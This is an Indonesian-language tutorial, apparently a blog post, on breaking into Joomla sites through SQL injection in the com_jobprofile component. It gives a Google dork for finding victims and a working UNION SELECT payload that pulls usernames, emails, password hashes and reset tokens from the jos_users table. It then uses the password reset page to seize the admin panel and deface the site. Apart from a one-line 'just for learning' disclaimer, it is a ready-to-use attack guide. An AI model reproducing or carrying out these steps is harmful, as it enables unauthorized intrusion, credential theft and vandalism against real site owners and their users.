Oke langsung aje
Bahan yang dibutuhkan :
1. Dork-dork yang kreatif sesuai target, kalo males nyari dorknya ya nih ada Google Dork.
2. Kesabaran untuk mencari kesalahan pada web
3. Kalo males pake google dork ya pake software ini, Klik Buat Download tapi caranya beda yaaa :) ntar baru aku jelasin cara pake accunetic
Itu juga udah cukup buat otak atik web orang :).
Yaaa aku belajar ini sejak kelas 1 SMK lumayan seru.
Intinya cuma buat belajar yaa, mohon jgn merusak web orang.
Langkah-langkah dibawah :
* Langkah pertama yang harus kita lakukan adalah mencari target.
Silahkan gunakan dork yang ada misalnya untuk mencari target :
Dork => option=com_jobprofile”
Pastekan ke mbah google
Dork digunakan dimesin pencari Goole (Google Serba Tahu)
* Selanjutnya kita cek web tersebut apakah bisa kita lanjutkan ke tahap selanjutnya.
Silahkan tambahkan ( – ) sebelum nomor ID
Pilih salah satu web yang mau di SQL
Contoh :
http://www.target.com/index.php/option=com_jobprofile&Itemid=61&task=profilesview&id=-1
Atau tambahkan tanda ( ‘ ) pada akhir Number ID
JIka muncul pesan “Error” lanjutkan ke langkah selanjutnya
Catatan : www.target.com - isikan dengan web yang mau di SQL
* Selanjutnya kita Exploitasi web tersebut dengan Exploit dibawah :
Silahkan gabungkan exploitnya :
+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9+from+jos_users–
Letakan diakhir URL tersebut sehingga akan menjadi :
http://www.target.com/index.php/option=com_jobprofile&Itemid=61&task=profilesview&id=-1+union+all+select+1,concat_ws(0x3a,id,name,username,email,password,usertype,block,sendEmail,gid,registerDate,lastvisitDate,activation,params),3,4,5,6,7,8,9+from+jos_users--
Nahh disitu akan keluar Email dan Tokennya silahkan copy dan simpan baik-baik.
* Sekarang masuk ke halaman reset password :
tambahkan : /index.php?option=com_user&view=reset
Contoh : http://www.target.com/index.php?option=com_user&view=reset
Oke udah, masukin email dan passwordnya yang tadi.
Sekarang masuk ke control panel web tersebut.
Silahkan ubah html pada web tersebut.
Atau bisa juga sobat masukkan/ upload Script deface sobat.
Kalo males buat scrip nih link buat nyari script EXPLOIT DB
Catatan!!!
Kalau tokennya mengandung symbol $$$$ (Salt) maka token tidak akan bekerja.
Jadi cari target yang lain saja.
Jika ingin belajar lebih banyak cari aja di google hehehehe
